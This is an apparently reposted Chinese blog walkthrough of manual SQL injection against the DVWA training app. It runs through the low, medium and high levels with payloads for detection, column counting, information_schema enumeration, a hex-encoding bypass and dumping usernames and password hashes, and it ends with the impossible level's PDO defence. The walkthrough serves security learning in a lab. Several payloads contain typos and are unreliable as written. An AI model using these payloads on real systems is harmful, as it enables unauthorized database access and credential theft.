admin 管理员组

文章数量: 887016

DVWA

目录

SQL Injection手工注入

low级别

Medium级别

High级别

impossible级别分析


SQL Injection手工注入

low级别

判断注入

1.判断是否存在注入。

输入’,返回数据库报错信息,存在sql注入,且数据库类型暴露

2.判断sql注入漏洞类型(数值型方法判断

输入1 and 1=1,页面返回正常

继续输入1 and 1=2,页面返回正常无变化,并非数字型

字符型方法判断

输入1' and '1'='1,页面返回正常

继续输入1' and '1'='2,页面无返回,页面无反应,即回显异常,说明此 Sql 注入为字符型注入

推测它的查询语句是这样

query:SELECT first_name, last_name FROM users WHERE user_id = '1';

查询所有id用户

输入

1’or 1=1 #

1' or 1=1 --

1' or 'abc'='abc

对应查询语句应该是这样:

query:
SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 #';
SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 -- ';
SELECT first_name, last_name FROM users WHERE user_id ='1' or 'abc' ='abc';

构造永远为真的条件进行查询,列出所有ID、First name、Surname

字符型,1后面跟的 ' 闭合前面的

'

#和--用于注释掉后面的 '

1’or 1=1 #

猜解所查询的字段数

方法1:order by num

输入:1' order by 2 #

select first_name,last_name from user where user_id = '1' and order by 1 #

这条语句的意思是查询users表中user_id为1的数据并按第一字段排行。

1' order by 3 #

以上,用1' order by 2 #进行提交,可正常查询出ID=1的2个字段值;用1' order by 3 #进行提交,则会出现异常提示。说明此处的select查询语句中查询的字段有2个

方法2:union select 1,2,3...

使用 union select联合查询获取信息。

输入:

1' union select 1 # 1

1' union select 1,2 #

1' union select 1,2,3 # 返回与1一样

说明有两个字段

显示位字段

那么我们就可以通过这些显示位,查看数据库信息、版本、用户信息等等。。

1' union select databases(),version() #

联合查询法解释:

union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,比如我们之前已经知道了主查询列数为 2,接下来

输入1' union select database(),user()#进行查询 :

  • database()将会返回当前网站所使用的数据库名字.
  • user()将会返回执行当前查询的用户名.

实际执行的Sql语句是 :

select first_name,last_name from users where user_id = '1' union select database(),user()#

同理,若要查询其他

1' union select version(),@@vesion_compile_os#
  • version() 获取当前数据库版本.
  • @@version_compile_os 获取当前操作系统。

获取所有数据库名称

1' union select 1,schema_name from information_schema.schamata#

Mysql安装后默认会创建三个数据库:information_schema、mysql和test;information_schema库下的schemata表中保存着DBMS中的所有数据库名称信息

获取当前连接数据库(dvwa)中所有表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

可以看到有三个表

已知当前数据库dvwa直接查询当前表名

information_schema 是 mySQL 自带的一张表,这张数据表保存了 MySQL 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

1' union select table_namae,table_schema from information_schema from information_schema.tables where table_schema='dvwa'#

实际执行的sql语句

SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

通过上图返回信息,我们可以知道以下信息:

  • dvwa 数据库有 2 个数据表
  • 表名为 guestbook 和 users

猜解数据库字段名及爆库

接下来我们继续猜解数据库表中的字段名,因为需要知道字段名,才能查询数据库中存储的数据。

我们输入以下语句查询 users 表中的字段信息

1’ union select 1,group_concat(column_name) from informatioon_schema.columns where table_name='users'#

从输出结果可知,users 表中有 8 个字段,分别是 user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

直接告诉我们,这些字段中最敏感的是 user,password 这两个字段,所以输入:1' union select user,password from users#进行查询。

实际执行的 SQL 语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到 / 查询解密:

Medium级别

源码:

查看源代码

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); //mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。

同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

因为它改成下拉菜单,我们不能输入参数,所以我们可以通过Burp抓包、改包测试。

1.判断是否存在注入。

输入’,也买你返回数据库报错信息,存在sql注入,且数据库类型暴露

2.判断sql注入漏洞类型(数值型方法判断)

输入1 and 1=1,页面返回正常

继续输入1 and 1=2,页面无回显,返回异常,为数字型注入。

测试列数

输入到数字3时有了变化,所以此处的select查询语句中查询的字段有2个有2列

回显位置

接下来步骤应该和low级别一样就可以继续往下查询其他信息啦,但是如果仍然使用Low中爆表的方法,则会报错,因为 ’单引号被转义

由于对’单引号转义,所以用16进制进行绕过,dvwa的16进制为0x64767761即可(0x为16进制识别前缀)

获取关键数据

最后得到的密码是16进制数据,我们需要将其处理后使用。

1 union select user,password from users#

High级别

源码:

跟medium相比,high级别在查询语句添加了一个limit 1,希望只输出一个结果

虽然添加limit 1 ,但是我们可以将它注释掉。

剩下的方法和low级别过程大同小异了

impossible级别分析

源码:

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

本文标签: DVWA